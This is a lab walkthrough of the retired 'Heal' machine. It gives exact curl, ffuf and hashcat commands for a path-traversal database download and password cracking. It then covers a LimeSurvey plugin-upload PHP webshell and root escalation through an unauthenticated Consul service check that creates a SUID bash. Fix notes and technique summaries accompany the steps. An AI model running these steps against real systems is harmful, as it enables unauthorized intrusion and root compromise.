Heal
Summary
I mapped heal's web surface with virtual-host fuzzing, uncovering three hidden sites behind the single nginx front end: a React resume-builder SPA, a Rails API, and a LimeSurvey instance. The Rails backend's file-download endpoint failed to sanitize a filename parameter, allowing path traversal to pull the application's SQLite database straight off disk; cracking a bcrypt hash inside it recovered the credential ralph's password. That password was reused to log into the LimeSurvey administration panel, where the built-in plugin-upload feature was abused to install a malicious plugin containing a PHP webshell, yielding code execution as www-data.
Reading LimeSurvey's on-disk configuration file exposed a database password that had also been reused as the local Linux account password for the user ron, giving a full SSH shell and the user flag. Finally, a HashiCorp Consul agent running as root on the loopback interface with its default ACL policy set to "allow" accepted an unauthenticated service-check registration whose script definition ran arbitrary shell commands, which was used to mint a SUID root shell and capture the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD5="<the-password-you-recovered>"
export PASSWORD6="<the-password-you-recovered>"
export T="<a-value-you-captured-earlier>"Some commands also carry a value in angle brackets — <baseline-size> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Confirm only 22 and 80 are open.
$ nmap -sC -sV -p- $TARGETVhost fuzz to find api.heal.htb and take-survey.heal.htb; filter out the baseline response size.
$ ffuf -H 'Host: FUZZ.heal.htb' -u http://$TARGET -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <baseline-size>All three hostnames must resolve locally or the API/survey vhosts are unreachable.
$ printf "$TARGET heal.htb api.heal.htb take-survey.heal.htb\n" | sudo tee -a /etc/hostsExact commands 6
Register an account to obtain application access.
$ curl --resolve api.heal.htb:80:$TARGET -sS -i -X POST http://api.heal.htb/signup -H 'Content-Type: application/json' --data '{"username":"pentest","fullname":"Pentest User","email":"pentest@heal.htb","password":"'"$PASSWORD5"'","password_confirmation":"'"$PASSWORD5"'"}'Sign in to receive a JWT in the a bearer token header.
$ curl --resolve api.heal.htb:80:$TARGET -sS -X POST http://api.heal.htb/signin -H 'Content-Type: application/json' --data '{"email":"pentest@heal.htb","password":"'"$PASSWORD5"'"}' -D ---path-as-is is required — plain curl normalizes ../ client-side and hides the traversal.
$ curl --path-as-is -H "Authorization: Bearer $T" 'http://api.heal.htb/download?filename=../../config/database.yml'Download the full application database.
$ curl --path-as-is -H "Authorization: Bearer $T" 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' -o dev.sqlite3Extract ralph's bcrypt password hash.
$ sqlite3 dev.sqlite3 'select email,password_digest from users;'Crack the bcrypt hash to recover the plaintext password.
$ hashcat -m 3200 ralph_hash.txt rockyou.txtFixSanitize and constrain the Rails file-download endpointCritical
Exact commands 2
Fetch a fresh CSRF token and session cookie before posting login.
$ curl --resolve take-survey.heal.htb:80:$TARGET -sS -c cookies.txt -o login.html 'http://take-survey.heal.htb/index.php/admin/authentication/sa/login'HTTP 302 confirms successful admin login.
$ curl --resolve take-survey.heal.htb:80:$TARGET -sS -D headers.txt -b cookies.txt -c cookies.txt -X POST 'http://take-survey.heal.htb/index.php/admin/authentication/sa/login' --data-urlencode 'YII_CSRF_TOKEN=<token-from-login.html>' --data-urlencode 'authMethod=Authdb' --data-urlencode 'user=ralph' --data-urlencode "password=$PASSWORD6" --data-urlencode 'loginlang=default' --data-urlencode 'action=login'FixEnforce unique credentials per system and MFA on admin panelsHigh
Exact commands 3
Config.xml must declare <compatibility><version>6.0</version></compatibility>; the on-disk plugin folder name equals config.xml's <name> tag; shell.php is a simple PHP webshell taking a 'cmd' parameter.
$ zip Healx.zip config.xml shell.phpUpload via the LimeSurvey 'Upload & install' plugin flow (Configuration > Plugins in the admin UI); must then be Installed AND Activated in the UI/API, not merely uploaded.
$ curl --resolve take-survey.heal.htb:80:$TARGET -sS -b cookies.txt -F 'the_file=@Healx.zip' 'http://take-survey.heal.htb/index.php/admin/pluginmanager/sa/upload'Confirmed RCE: returned uid=33(www-data).
$ curl --resolve take-survey.heal.htb:80:$TARGET -sS --get 'http://take-survey.heal.htb/upload/plugins/Healx/shell.php' --data-urlencode 'cmd=id'FixRestrict or disable LimeSurvey's plugin upload featureCritical
Exact commands 3
Read the LimeSurvey config file via the webshell to expose the database password.
$ curl --resolve take-survey.heal.htb:80:$TARGET -sS --get 'http://take-survey.heal.htb/upload/plugins/Healx/shell.php' --data-urlencode 'cmd=cat /var/www/limesurvey/application/config/config.php'Confirms shell access as ron using the reused password.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no ron@$TARGET 'id'Prints the user flag; replace output with <user.txt>.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no ron@$TARGET 'cat /home/ron/user.txt'FixStop storing and reusing plaintext database credentialsHigh
Exact commands 5
Confirm acl_default_policy is 'allow' (no token required) before proceeding.
$ ssh ron@$TARGET 'cat /etc/consul.d/config.json'Run from ron's SSH session; the Check.Args command executes as root when the agent runs the check.
$ cat > /tmp/p.json <<'JSON'
{"Name":"x","ID":"x","Address":"127.0.0.1","Port":80,"Check":{"Args":["bash","-c","cp /bin/bash /tmp/rootbash && chmod 6777 /tmp/rootbash"],"Interval":"10s","Timeout":"5s"}}
JSONRegisters the malicious service check with the local, unauthenticated Consul API.
$ curl -sS -X PUT --data-binary @/tmp/p.json -H 'Content-Type: application/json' http://127.0.0.1:8500/v1/agent/service/registerThe check does not fire at registration — wait roughly one interval (~10s) before checking for the SUID binary.
$ sleep 12; /tmp/rootbash -p -c 'id'Reads the root flag as root; replace output with <root.txt>.
$ /tmp/rootbash -p -c 'cat /root/root.txt'FixLock down the Consul agent API and stop running it as rootCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.